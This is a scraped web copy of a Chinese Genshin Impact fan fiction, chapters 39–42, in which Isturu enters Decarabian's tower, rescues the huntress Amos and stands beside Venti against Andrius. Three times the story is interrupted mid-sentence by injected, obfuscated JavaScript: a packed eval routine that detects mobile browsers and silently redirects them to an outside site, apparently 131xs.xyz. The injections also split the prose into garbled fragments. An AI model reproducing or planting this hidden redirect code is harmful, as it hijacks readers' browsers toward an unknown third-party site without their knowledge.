少年诗人才心有余悸地舒了口气,迭卡拉庇安冷漠的声音便随之响起:
“把他绑到高塔前的石柱上,抽一百鞭就行。”
39.人间一梦(三十九)
“迭卡拉庇安大人保佑,遵命!”
最前面两名士兵立刻向前跨出一步,不由分说地抢过弗莱温,将他的双手剪到身后。
“欸,欸,你们怎么这样……”
弗莱温看上去有点委屈,但被迭卡拉庇安的眼刀扫过后,还是老实闭了嘴。
迭卡拉庇安厌恶地“啧”了一声:
“都说了吵,闭嘴。”
伊斯塔露那边已经在打算先把弗莱温送出城了——毕竟一百鞭子是真能抽死人的。
这个少年诗人是为了帮她才冲撞了迭卡拉庇安。
可她一转眼,却看见被捉住的弗莱温一副无事人的模样,无声地朝她比口型“我没事,你快低头”。
伊斯塔露依言低头,视线却微微上移,果然见迭卡拉庇安在她面前顿住了脚步。
审视的目光在伊斯塔露身上停留了片刻。
这个人很奇怪,迭卡拉庇安想。
这人看见他既没有跪下,也没有行礼,还对他视若无睹。
算了,迭卡拉庇安收回目光,这里的人们发自内心地敬畏他,就算偶尔有一个桀骜的,和他又有什么关系?
这里的律法会让她理解人类对他的尊敬的。
高塔孤王不再理会人类的闹剧,转身离去。
大部分士兵簇拥着迭卡拉庇安离开,擒住弗莱温的两名士兵刚想架着他往石柱走,一支箭矢却挟着疾风,“嗖”地钉在了二人眼前的土地上。
不远处,从高塔的台阶上缓缓走下来的少女收起了手中的弓,温和地冲两名士兵点点头。
“好了,你们可以离开了,接下来的事交给我。”
她说话前甚至没带“迭卡拉庇安大人保佑”的前缀,可两名士兵还是对她毕恭毕敬。
“迭卡拉庇安大人保佑,阿莫斯小姐,您这有些为难我们了。”
其中一名士兵有些犯难地挠挠头。
“可是迭卡拉庇安大人要我们把这小子绑在……”
“哦?”
阿莫斯眉梢一挑,笑了。
“你的意思是我会对孤王大人的命令阳奉阴违?”
另一个士兵见状,连忙捂住了同伴的嘴,讪笑着后退:
“迭卡拉庇安大人保佑,我们哪敢质疑您啊,既然您接手,我们便不多问了。”
两名士兵便脚底抹油似的,一溜烟没了影。
见旁人离去,阿莫斯的神色又温和下来,她朝活动手脚的弗莱温微微点头:
“好了,没事了。”
伊斯塔露指间的星辰这才消散,她松了口气。
看来这位叫做“阿莫斯”的少女在这里不仅身份特殊,还和弗莱温关系匪浅。
难怪看到巡逻士兵都要逃跑的弗莱温刚才那么淡定。
阿莫斯走到弗莱温面前,上下打量了少年片刻后,为他拍了拍肩上的灰尘,叹息着摇了摇头:
“弗莱温,要不是刚好撞上我随孤王大人出塔,你要怎么办?”
“这个嘛……”
弗莱温心虚地吹了声口哨。
“阿莫斯姐姐总有办法的,对吧?”
“弗莱温,不要什么都依赖我,迭卡拉庇安大人他……”
阿莫斯的垂下眼帘,眼神似乎黯了黯。
“也没那么重视我。”
“可是他也没有其他更重视的人啊。”
弗莱温叹了口气,正色道:
“虽然得不得这位孤王大人的重视,好像都不是什么好事。”
阿莫斯对此不置可否,只是幽幽地叹了一声,推了推弗莱温:
“好了,小弗莱,快走吧,别让其他人知道了……”
阿莫斯顿了顿,又忍不住多念叨了两句:
“虽然我们只是朋友,但是不要嫌我啰嗦——我知道你想去飓风之外的地方看看,也想要帮助别人,但是要等你有能力才行,慢慢来。”
“……好,阿莫斯姐姐,我会的。”
伊斯塔露看见弗莱温张了张嘴,似乎想说什么,但终究咽了下去,只是答应了阿莫斯。
阿莫斯满意地点点头,这才注意到一直等在弗莱温身后的白发少女:
“这位姑娘我从没见过,是异乡人吗?”
“应该是吧,她以为不知道我们这里的传统,还差点被抓住了。”
说到这里,弗莱温骄傲地掏出里拉琴,拨了一下琴弦。
“但是我帮忙了,就没事咯。”
阿莫斯无奈地看了一眼弗莱温,视线转而落在伊斯塔露身上:
“迭卡拉庇安大人以烈风铸就难以逾越的高墙,异乡人,你居然能跨越风墙来到这里?”
“是的,阿莫斯小姐。”
伊斯塔露平静地垂眼,和阿莫斯对视。
阿莫斯无法从那张淡然的脸上读出任何信息,对视片刻后,她也只是耸了耸肩,笑道:
“不愿意说吗?没关系的,这是你的自由,我不问。”
“我只是想告诉你,如果你初来乍到,或许我可以为你找一份安身的活计,虽然……”
“对一部分人来说会难以接受。”
出乎阿莫斯意料的是,看上去养尊处优的白发少女却一口应下。
“……干什么都可以,非常感谢你,阿莫斯小姐。”
“欸?阿莫斯姐姐说的是在这高塔里干活吧?”
弗莱温心有余悸地仰望那高耸入云的白塔。
“异乡人,你真的能接受吗?在那里干活的人不仅没有一点自由,还得一口一个‘迭卡拉庇安大人保佑’的。”
“谢谢你,弗莱温。”
伊斯塔露回以浅淡的笑意,又向阿莫斯点点头。
“也谢谢阿莫斯小姐,我确实需要你的帮助。”
“好啊,恰好这事我也做得了主,那跟我走吧。”
阿莫斯向伊斯塔露点点头,又朝弗莱温挥了挥手,告别了少年诗人后,她脸上的笑意渐渐收起。
“异乡人,我该怎么称呼你?”
伊斯塔露迟疑片刻。
“卡伊洛斯”和“伊露”在沙漠和归离集用过了,她现在是不是得现编一个?
阿莫斯倒是善解人意地补充了一句:
“如果不便暴露真名,那就编个名字咯,但是你自己得相信它是真的。”
“谢谢。”
阿莫斯的话倒是让伊斯塔露心生一计。
“编个名字吗?那叫我伊斯塔露吧。”
“好,伊斯塔露。”
阿莫斯并没有在意伊斯塔露报出的名字是真是假,她解下背上的长弓,弹了一下弓弦。
“伊斯塔露,你要做的很简单——跟着我做事就好了。”
“迭卡拉庇安大人的性格……高傲,对人类的事不太在意,也记不住人——好在他不会和我们计较太多,坏在很多人因此欺软怕硬。”
“你初来乍到,大概不知道——很多事都是多说多错的,所以跟着我就好。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053541|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
经过阿莫斯的一番解释,伊斯塔露也对这里的情况大致有了了解。
「龙卷之魔神」迭卡拉庇安以烈风隔开风雪,将人类保护在城中,这里的规则极为森严,事事以这位「高塔孤王」为尊。
高塔中干活的人看似得其他人尊敬,实则完全丧失了人身自由,几乎无法离开高塔,最恐怖的是,还有可能面见迭卡拉庇安——
这可是用抽人百鞭体现恩赐的魔神。
“迭卡拉庇安大人只是不知道如何和人类相处,他其实还是挺好的……”
阿莫斯苦笑着,如此为高塔孤王辩解。
伊斯塔露还是觉得,阿莫斯美化了迭卡拉庇安。
迭卡拉庇安的性格已经不能用简单的“高傲”来形容了。
这是一个无法理解人类的暴君。
无论是随口抽人百鞭,还是城中森严律令,对于孱弱的人类都是折磨。
而且按照阿莫斯的形容,迭卡拉庇安自以为他爱着人类,而人类尊敬着他。
属实讽刺。
但伊斯塔露无意评判这位高塔孤王,她只是轻描淡写地点头,表示自己会听从阿莫斯的话。
阿莫斯见伊斯塔露如此识趣,也满意地点点头,表示自己会对她多照拂一些。
然而伊斯塔露混入高塔的当夜,迭卡拉庇安便传唤了阿莫斯做事。
让她带一个人,花一夜的时间,去把整座高塔的墙都擦一遍。
迭卡拉庇安的高塔高达数十米,就人类而言,这件事仅用一晚上根本无法做到。
伊斯塔露只觉得这位魔神蛮横无理。
阿莫斯却舒了口气。
“没事,这是我常做的活。”
见伊斯塔露面带疑惑,阿莫斯苦笑着解释道:
“这些人敬我,是因为觉得迭卡拉庇安大人高看我一眼,会听我的建议。”
“但实际上,他连我的名字都记不住。”
“不过不用面见孤王大人的话,这便不算什么,可以偷懒。”
“伊斯塔露,你和我一起?”
伊斯塔露对阿莫斯的态度不置可否,最后,她只是叹息了一声:
“好,阿莫斯小姐。”
然而阿莫斯和伊斯塔露都没想到,在二人慢悠悠地在半夜擦墙时,夜不能寐的迭卡拉庇安会突然出现在她们面前。
只是瞥了一眼衣着华丽的青年,阿莫斯连忙跪下身,向他叩首。
“迭卡拉庇安大人。”
迭卡拉庇安淡淡地看了她一眼,没有回答,任由她跪着,径直越过了她。
阿莫斯的视线顺着迭卡拉庇安,向后转去,却看见伊斯塔露并没有一起下跪。
她脸色一变,拉了拉伊斯塔露:
“快跪下,伊斯塔露,千万别激怒了迭卡拉庇安大人。”
伊斯塔露无奈地撇了撇嘴。
唉,摩拉克斯和阿赫玛尔她都没跪过,现在倒是得对迭卡拉庇安三拜九叩了。
但伊斯塔露也无意执拗,她不紧不慢地向迭卡拉庇安曲起膝盖,却被一阵烈风带着踉跄了半步。
也恰是因为是伊斯塔露,否则就凭这一下,也能废了普通人的腿。
伊斯塔露蹙了蹙眉,抬眼看向烈风的来处——迭卡拉庇安不以为意地脱下手套,擦了擦闪着元素力光芒的指尖。
随后,美貌又暴虐的金发青年居高临下地看着她,笃定地道:
“我见过你,你不是高塔里的人。”
40.人间一梦(四十)
伊斯塔露有些惊讶。
不是说好迭卡拉庇安记不住人的吗?
面对伊斯塔露的沉默,迭卡拉庇安不耐烦地“啧”了一声,质问道:
“为何不说话?我在问你。”
看见伊斯塔露略略惊诧的目光后,迭卡拉庇安冷嗤一声。
他从来不记人类的模样,但这个人例外。
他当然记得她。
这个对他毫无敬意的人类,在他的城邦简直前无古人后无来者。
伊斯塔露挑了挑眉,没有说话,而阿莫斯则向前膝行了一步:
“迭卡拉庇安大人,请容我来禀报。”
“哦,你?”
迭卡拉庇安的目光落在阿莫斯身上,他顿了顿。
“……你叫什么来着?”
这人眼熟,迭卡拉庇安有印象,她办事挺靠谱,他甚至默许了她不必开口就称颂他。
但他从来不记人类的名字。
阿莫斯似乎哽了一下,才毕恭毕敬地道:
“迭卡拉庇安大人,我叫阿莫斯。”
“哦,阿莫斯,这是怎么回事?”
迭卡拉庇安的视线并没有从伊斯塔露身上移开。
伊斯塔露懒得抬眼,也不打算跪了,索性靠墙听候发落。
总归她不是凡人,迭卡拉庇安要罚她,她自有手段应付,就不委屈自己了。
“阿莫斯,她到底是怎么混进来的?”
“她今日在城中听闻了您的事迹,对您佩服得五体投地,费尽了心思,想进塔做事。”
阿莫斯面不改色。
“她?啧,白天不还挺不长眼的么?”
“任何人类听闻了您的仁爱与英武后,都会为您折服的。”
阿莫斯对答如流。
“啧,也是,你说得对,她最好是。”
迭卡拉庇安居然被说服了,尤其是听完阿莫斯的夸赞以后。
伊斯塔露一言难尽地看着这两人一问一答。
阿莫斯这就敷衍过去了?
……这高塔孤王怎么傻傻的?
有点太好骗了吧。
阿莫斯还挤眉弄眼暗示伊斯塔露别说话,等迭卡拉庇安离开后,她才舒了口气:
“伊斯塔露,你看,迭卡拉庇安大人还是挺好的。”
“……这样么。”
伊斯塔露:谢谢,并不觉得。
迭卡拉庇安离开后,两人忙活了不久,阿莫斯便挥了挥手,表示可以回去休息了。
伊斯塔露从善如流,却在分别时忍不住多看了阿莫斯一眼。
阿莫斯此人,实在有趣。
明明言行温柔又得体,可初见时,她挽弓射箭的动作却无比利落。
好像已经在冰原上张弓引箭无数次。
可她如今却甘愿侍奉迭卡拉庇安。
但伊斯塔露也无意质疑他人的选择,她回到了高塔底层——阿莫斯给她安排的住处,却听见窗外的草丛中传来隐约的人声。
“对,她就在这座高塔里。”
谁?她吗?伊斯塔露好奇地指了指自己。
她在这城里也不认识什么人,谁会来找她?
伊斯塔露挑了挑眉,索性翻出了窗,拨开了遮掩的灌木丛,居高临下地看着蹲在地上的少年,和……一只风精灵?
“弗莱温,还有温迪?你们来做什么?”
伊斯塔露将信将疑地喊出了这两位的名字。
“欸欸,”弗莱温慌张地后退了几步,“被发现了。”
风精灵倒是歪了歪脑袋,坦然地和伊斯塔露对视,一副听不懂的样子。
伊斯塔露好笑地戳了戳风精灵。
“……温迪?你再跟我装傻试试?”
片刻后,风精灵才轻咳一声,压低了声线:
“咳咳,什么温迪,那是谁?我不认识哦?”
“你为什么要骗她?”
弗莱温压低了声音,自认为隐秘地和风精灵窃窃私语:
“你之前明明和我说你叫温迪啊?”
“唉,声音别那么大呀。”
风精灵看上去蔫蔫的,他抬眼看着一脸无奈的白发少女:
“伊斯塔露已经听到啦。”
“温迪,我又不傻,”伊斯塔露摁了摁太阳穴,“你们怎么来找我了?”
看来弗莱温就是笔记里那位,温迪早逝的友人了。
弗莱温替温迪解释道:
“温迪是我之前在城内弹奏里拉琴时遇到的朋友,他很担心你,今天刚好听说我见过你,就想来看看你的情况。”
“嗯,对哦!”
被拆穿后,温迪也相当理直气壮地附和。
“虽然说去哪里是你的自由,不过能确认你没事,我也就放心啦。”
“唉,自由吗……”
弗莱温遗憾地看向封锁了城邦与外界的飓风。
“温迪,你和伊斯塔露都见过高墙之外的景色,我什么时候能有机会看一看呢?”
“你们俩……”
伊斯塔露摇了摇头,赏了风精灵和吟游诗人一人一个暴栗。
“都知道高塔附近很危险,就不要轻易过来,我没事,反倒是你们……”
伊斯塔露话音未落,便看见一道黑影被灯光投到自己身后。
迭卡拉庇安淡漠而怀疑的声音在她身后响起。
“你在这里做什么?”
.
“……迭卡拉庇安大人?”
伊斯塔露从容地转过身,毫无敬意地与高塔孤王对视。
“我睡不着,出来摘树叶玩。”
迭卡拉庇安的视线越过伊斯塔露,果然只看见被糟蹋得七零八落的灌木丛。
他感受到了强大力量的痕迹,却无法找到来源与去处——至少不会是眼前的少女。
她看起来如此羸弱。
迭卡拉庇安狐疑的目光重新落在伊斯塔露身上,还是没能从她的表情中看出什么。
……啧,这个人类绝对在和他玩阳奉阴违。
迭卡拉庇安不悦地盯着伊斯塔露:
“既然如此,明天的打猎,你也随行。”
金发的青年顿了顿,不情不愿地又补了一句:
“你有拒绝的机会。”
话是这么说,看迭卡拉庇安的表情,拒绝的话当场能把她扬了。
伊斯塔露无话可说,她回想了一下城内的通用句式:
“……迭卡拉庇安大人保佑,您的要求,我欣然接受。”
然而到了第二天,伊斯塔露才从同行的阿莫斯口中知道,迭卡拉庇安口中的“打猎”,并非字面意思。
而是要狩猎「北风之魔神」安德留斯的眷属——奔跑在冰原上的群狼。
在二神鏖战的局势里,安德留斯的眷属少哪怕一只,迭卡拉庇安的胜算也大一分。
用迭卡拉庇安本人的话说,就是:
“我只负责保护人类,安德留斯的那些狼,我为什么要放过?”
“让人类去狩猎魔神眷属,亏他想得出来。”
伊斯塔露带着淡淡的讥讽,点评道。
“其实除了违反律法之人,迭卡拉庇安大人会给人拒绝的机会。”
阿莫斯好奇地看了她一眼。
“伊斯塔露,你没拒绝吗?”
伊斯塔露:“……我的错。”
谁能想到迭卡拉庇安真的会在这件事上心慈手软?
伊斯塔露叹了口气。
算了,事已至此,她还是随行划水吧。
迭卡拉庇安的“狩猎区”选在孤城南方的山原上,身为魔神眷属的白狼肆意地在此处奔跑、觅食。
然而狼群机警,“狩猎”进行了大半天,除了亲自出手的迭卡拉庇安,其余人都一无所获。
——直到阿莫斯出手。
她挽起蓝白色的长弓,将箭矢搭在弦上,“嗖”的一声,一道残影飞出。
一只白狼应声倒地。
以人类之身射出的箭矢,贯穿了魔神眷属的心脏。
迭卡拉庇安回过头,赞许般看了阿莫斯一眼。
周围跟随的人群也随之叫好:
“好!不愧是我们的第一猎手!”
“阿莫斯小姐实在厉害!”
阿莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065605|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯在众人的喝彩声中面不改色,目光紧紧追随着迭卡拉庇安。
如今已经鲜有人知道,她在进入高塔、向迭卡拉庇安俯首前,曾是冰原上最好的猎手。
但她向迭卡拉庇安俯首称臣,却是心甘情愿。
她对迭卡拉庇安……
阿莫斯陷入了沉思,却没有看见几道残影以极快的速度扑向她。
“咝……”
阿莫斯侧过身,却还是被白狼的利爪划破了皮肤,她的长弓也被横扫到远处。
手无寸铁的阿莫斯强忍着几乎令人昏迷的剧痛,和三条白狼对峙着。
而“狩猎”的队伍,已经在她沉思之际,毫不犹豫地走远。
无论是迭卡拉庇安,还是刚才那些附和叫好的人,都无一回头。
眼看那些白狼即将暴起,一道清风忽然从阿莫斯眼前拂过。
时间就此停滞。
一柄长剑从远处的伊斯塔露手中飞出,贯穿了那三只狼的躯体。
「时间」的权能溃散,伊斯塔露本人抱起了受伤昏迷的阿莫斯,走向和迭卡拉庇安一行相反的方向。
.
等到阿莫斯醒来,暮色已经笼罩了冰原。
不远处,疏淡如琉璃的白发少女抬手支着下巴,听见动静,才看了她一眼:
“阿莫斯,你醒了?还好吗?”
“谢谢你,伊斯塔露,已经没什么事了。”
阿莫斯检查了一下自己的伤口,却发现它们已经奇迹般愈合。
“没事就好。”
伊斯塔露点点头,将阿莫斯的长弓抛给她。
片刻后,伊斯塔露却又像是想起什么似的,狐疑地看着阿莫斯。
“阿莫斯,你……”
伊斯塔露迟疑片刻,才轻声问道:
“你爱慕迭卡拉庇安?”
“……很明显吗?”
阿莫斯刚活动了一下手腕,闻言,抬起了头。
“不明显吗?”
伊斯塔露叹了口气,淡淡地反问。
迭卡拉庇安可是亲眼看见阿莫斯被白狼偷袭,可他都没有再多看她一眼,就径直向前了。
而阿莫斯至今一句怨怼都没有。
“如果我遇到这种事,只会想把迭卡拉庇安给扬了。”
“你……怎么这么喜欢他?”
阿莫斯闭上眼,笑了一声。
“唉,伊斯塔露啊,你说话平平淡淡的,想法怎么比我还暴躁?”
她巧妙地回避了伊斯塔露的问题。
忽然,不远处响起干枝被踏碎的窸窣声。
阿莫斯细细聆听之后,神色严肃起来,她指了指远方。
“有人来了,伊斯塔露,你快走吧。”
“这些应该是是孤王大人的清道夫。”
伊斯塔露没动,她挑了挑眉:
“清道夫?那是什么?”
“每次‘狩猎’,我们都有人被队伍落下的,为了防止我们被另一位魔神酷刑审问,迭卡拉庇安大人会在入夜后,派清道夫确保无法回到城中的人类已经死亡。”
如何确保?答案不言而喻。
阿莫斯沉默片刻,有些苦涩地补了一句:
“迭卡拉庇安大人认为,他爱着人类,不愿我们被折磨,所以这是他对我们的仁慈。”
“仁慈?爱人?自欺欺人的鬼话而已。”
伊斯塔露依旧神色平淡,嘴上却不饶人。
“行了,阿莫斯小姐,我不会把你一个人丢在这里的。”
伊斯塔露懒洋洋地回头,看了一眼越来越近的人群。
“而且他们看上去……不是迭卡拉庇安的人啊。”
人群已经离她们仅有几步之遥。
领头的金发女性抱着一本书,温和地向两人笑了笑:
“打扰到你们了吗?”
“我们看见了雪地上的血迹,觉得可能有人需要帮助,就找过来了。”
“我的名字叫夏洛特,但两位也可以称呼我的姓氏……”
金发女性提起裙摆,行了一个标准又漂亮的礼。
“古恩希尔德。”
41.人间一梦(四十一)
“古恩希尔德?”
阿莫斯忽然提起了神。
她打量着夏洛特,夏洛特也任由她打量,还回以微笑:
“是啊,小姐怎么称呼?你听过这个名字吗?”
阿莫斯看上去有些犹豫,她握住了手边的长弓,站起身,向夏洛特行了一礼。
“叫我阿莫斯就好,以及希望您原谅我接下来的冒犯——我听过这个名字。”
“叛离高塔的‘叛徒’——古恩希尔德家族,迭卡拉庇安大人曾判以永世流放之罪。”
“叛徒?”
温和的夏洛特眼神骤然变得桀骜起来。
“阿莫斯小姐,我并不介意你的话,相反,我为之感到自豪。”
“若是高塔孤王用这个词形容我们,那便是对我们的夸赞。”
夏洛特身后的人群也点头称是,激动者甚至已经对着被龙卷包围的高塔举起了拳头。
面对阿莫斯有些难看的神色,夏洛特歉然地点点头,但还是将原委道来:
“我的父亲,古恩希尔德族长,便是他带着我们逃离了被龙卷封闭的城邦。”
“我们始终觉得,只有叛离了故步自封的高墙,才能追逐自由与未来。”
“夏洛特小姐,你如此想么。”
阿莫斯垂下眼帘,别过头。
“可没有迭卡拉庇安大人的庇护,人类如何在冰原上生存?”
“他也并非故步自封,他还是爱人的,只是很多时候……”
阿莫斯顿了顿,自己似乎也有些说不下去了。
但出乎她意料的是,夏洛特并没有反驳她,反而还向她点点头。
“再次向你致以歉意,阿莫斯小姐。”
“既然你这么想,便有你的道理,这强求不得。”
夏洛特抱着她的书,指向远方的高崖。
“如果你们需要帮助,可以和我们一起回我们的聚落休息,一位风精灵大人会在风雪中庇护我们。”
“欸,夏洛特,之前不是说好的嘛,我们都是朋友,不要这么称呼我。”
清澈的少年音从不远处响起,人群自觉分开了一条路,用崇敬的目光注视着一只从远方飞来的风精灵。
看见伊斯塔露后,风精灵显然眼前一亮:
“欸欸,伊斯塔露!”
“哦,温迪啊。”
夏洛特口中的“风精灵大人”是温迪,伊斯塔露倒是不奇怪——
温迪之前说过,他和逃离高塔的人类生活在一起,还邀请过她一起去看看。
反倒是夏洛特和她身后的人们,见温迪和伊斯塔露如此熟稔以后,对伊斯塔露也肃然起敬。
温迪本人却没一点包袱,他雀跃地在伊斯塔露身边飞来飞去:
“所以伊斯塔露,你要来看看吗?来嘛来嘛。”
伊斯塔露无奈地拍了拍温迪,看向手执长弓的沉默少女:
“阿莫斯,你的伤虽然好得差不多了,但还是去休息一下吧?”
“好,谢谢你们。”
阿莫斯犹豫片刻,还是向夏洛特点了点头。
.
入夜,高崖上的人类聚落已经归于宁静。
阿莫斯却心绪难宁。
她站在一顶较大的帐篷外,帐内传来幽暗的灯光,阿莫斯则仔细聆听着帐篷内的声音:
“风精灵大人带来了消息——很多城中的朋友说,他们已经受尽了暴君迭卡拉庇安的折磨,问我们什么时候可以攻打迭卡拉庇安。”
“虽然魔神很恐怖,但我们还是要尽快推倒他的高塔啊。我听说又有人在暴君的暴政下死了……啧,该死的暴君。”
“就和他们约定在那天吧?和城里的人里应外合,一定要推翻那个暴君……”
阿莫斯抚摸着背上的长弓,垂下头。
城中的人也忍受不了孤王大人,要举起反旗了吗?
迭卡拉庇安大人真的像他们刚才说的那样吗?暴虐,自我,不顾苍生?
可他还是爱着人类的吧?
否则在冰原初见时,也不会用龙卷带走了安德留斯刮起的寒风,从而救了她的性命。
否则他曾经也不会收留无处可去、随时有可能冻死的人类。
而且她亲口听孤王大人说起过的,他爱人类,哪怕……他记不住任何人类的名字,也从未体谅过人类的生活。
她还是不能共情其他人对孤王大人刻入骨髓的恨。
迭卡拉庇安大人罪不至此,阿莫斯握了握拳。
她做不到对这件事视若无睹。
她要回去告诉迭卡拉庇安大人,要小心城内人类的谋反。
她只是希望迭卡拉庇安大人好好活着。
阿莫斯本想就此离开,可她身后却响起伊斯塔露的声音,纵然无波无澜,却还是让阿莫斯心跳如鼓:
“阿莫斯,你在听什么?”
阿莫斯咬紧了唇,片刻后,她握紧了手中的长弓,释然般转过身:
“伊斯塔露,你果然都……看到了?”
“是我的错,我会接受这里的惩罚。”
伊斯塔露没有回答,反倒是她身边的风精灵笑了一声:
“看到什么?我和伊斯塔露刚来,什么都不知道哦。”
“呃……你说什么?”
阿莫斯无措地回过头,却看见风精灵和伊斯塔露都像是无事人一样。
“……嗯,其实没什么。”
阿莫斯压低声音,忐忑地回了一句,几乎落荒而逃。
“温迪,你什么时候会忽悠人了?”
见阿莫斯走远,伊斯塔露在高崖边坐下,回头看着风精灵,叹了口气。
“明明我俩已经观察她很久了吧?”
“诶嘿,要是她被当场拆穿的话,会很尴尬嘛。”
温迪倒是语调轻松地笑道:
“如果她有自己的想法,我们也不会强求,对吧?”
“是啊,她如此爱慕迭卡拉庇安,我也不打算劝她。”
“但是放她今晚回去通风报信的话,你们怎么办?”
温迪不以为意,他在伊斯塔露眼前飞了一圈:
“是啊,要怎么办呢……你猜?”
伊斯塔露的视线追随温迪转了一圈,她才懒懒接话:
“不猜,我相信你。”
温迪坐在了伊斯塔露身边,陪她一起看冰原上的弯月。
“温迪,”伊斯塔露忽然有些好奇,“如果最后在魔神战争中戴冠的,不是迭卡拉庇安,也不是安德留斯,而是你,你会怎么对这里的人类?”
“我吗?”
温迪指了指自己,轻快地笑了。
“如果可以选择,我觉得这里不需要任何人戴冠。”
温迪回头看了一眼不远处的人群,认真地道:
“即使冻毙于风雪,他们也要逃离高塔,想来一定很讨厌规则划定的生活吧。”
“我也不喜欢。”
如少年般的声音和月光一样温柔。
“所以这里的生灵也不需要戴冠的君王。”
“我更希望看到自由的微风温柔地拂过每个人的脸庞。”
伊斯塔露坐在高崖边,抬手支着下巴,有些出神地看着风精灵。
这是由她逾越规则创生的、拥有部分「时间」权能的风精灵。
这是那个在未来,以“自由”祝颂他的子民的风神。
如果温迪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076154|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的成为七神之一,大概也会是个像微风一样温柔的神明吧?
……温柔吗?她用温柔形容温迪?
伊斯塔露恍然,最后只是笑了笑。
经历了尘世三百余年,她居然会也和归终一样,用“温柔”形容一个性格初看并非如此的人。
但伊斯塔露仍然觉得温迪成为神明或许是一件好事,于是她拍了拍风精灵的头:
“好啊,这是个很好的愿望。”
“温迪,这些都会实现的。”
她会尽量避免弗莱温的死亡,也会……从「天理」手中保下身为尘世七神的温迪。
她不会让「天理」像神秘声音说的那样,吸收温迪的。
伊斯塔露的目光锐利了些。
.
第二天,伊斯塔露是在人类的呼喊声中醒来的:
“大家小心点!狼群忽然来了!”
“这些狼是「北风之魔神」的眷属!大家最好防御准备!”
忽然,不远处传来一声嘹亮的惊呼:
“好大的一头狼!它还开口说话了,说交出一个女猎手!”
伊斯塔露顺着人声向前走去,果然看见一只足有数人高的巨狼领着一群白狼,向人类聚落逼近。
结合刚才那声呐喊,不出伊斯塔露意料的话,它们是顺着阿莫斯的痕迹找来的。
面对来势汹汹的狼群,温迪不慌不忙地飞到人群前面,朝身后的人类点点头:
“你们别怕哦,都躲到我身后。”
伊斯塔露想了想,走向温迪,和他并肩而立。
温迪很开心地绕着她飞了一圈,才看向不远处虎视眈眈的巨狼:
“「北风之魔神」安德留斯,是哪阵风把你吹来了?”
狼群中领头的巨狼长啸一声,一阵凛冽的寒风随之刮向人群。
可转眼间,青光落下,寒风消弭在温迪的力量中。
安德留斯没能给人群下马威,它有些烦躁地用爪子刨了刨脚底的冰层,吼道:
“迭卡拉庇安那个疯子,又来残害我的眷属,他手下有个为虎作伥的女猎手,逃到你们这里来了!”
“风精灵,交出那个猎手,我暂时不与你和你这里的人类计较!”
可就如伊斯塔露和温迪所料,阿莫斯早在昨晚就已经悄悄离开了。
在安德留斯的威胁下,温迪沉默了片刻,叹了口气:
“唉,安德留斯,听到这个消息,我感到很难过。但是我也没办法,那个姑娘现在已经离开了——”
温迪又清了清嗓子,笑吟吟地补了一句:
“当然啦,就算她没离开,我也不会把她送到你面前的——这笔账应该算到迭卡拉庇安身上。”
安德留斯似乎气得抖了抖,随后,震耳欲聋的狼嗥声穿越了大半个冰原:
“风精灵!你戏耍我?”
“我,「北风之魔神」安德留斯,便在此向你宣战!”
温迪依旧用轻松的语调接下了安德留斯的宣战:
“好啊。”
温迪身后的人群一片哗然,都是在担心温迪的安危。
安德留斯大概也没想到温迪会如此轻松地接下了战帖,它不屑地打量着小小的风精灵:
“你不过一只风精灵,甚至只能从人类身上汲取可怜的力量,也敢挑战魔神之躯?”
温迪也煞有介事地点点头:
“是啊,安德留斯,我这么弱,当然没办法和你比啦,可是我有挂啊。”
“什么……?”
安德留斯似乎愣了一下。
而温迪已经轻车熟路地往伊斯塔露头顶上一趴:
“伊斯塔露,救命救命,快帮帮我。”
42.人间一梦(四十二)
伊斯塔露只觉得好笑,她轻咳一声,压低声音:
“你昨天让我猜的就是这个?让我代打啊?”
温迪趴在伊斯塔露头顶,晃了晃脑袋,笑道:
“可我只是一只弱小的风精灵啊,你比较厉害,对吧?”
伊斯塔露挑了挑眉,拆穿了他。
“且不说人类对你的信仰之力,我的权能明明也有一部分在你身上吧?”
“帮帮我嘛,好不好?好不好?好不好?”
温迪的声音不小,像是特意说给安德留斯听的,北风的狼王也如他所期望的那样,不耐烦地怒吼起来。
伊斯塔露摁了摁眉心,还是答应了他:
“唉,好,知道了。”
如果阿赫玛尔还活着,大概还要再感叹两句她对温迪溺爱至此,连魔神都帮他代打了。
伊斯塔露叹了口气,向前走了半步,拦在安德留斯面前:
“「北风之魔神」,你要找的那位确实已经不在这里,所以请离开吧。”
“如果你执意挑起争端……”
伊斯塔露顿了顿,不以为意地压了压指骨。
“那你随意。”
安德留斯的身体似乎抖了抖,随后,一声震耳欲聋的长嗥几乎要穿透冰层,令大地震颤:
“我无意与你们这些魔神争夺统御人类的权能,但你们为何要残害我的亲族?”
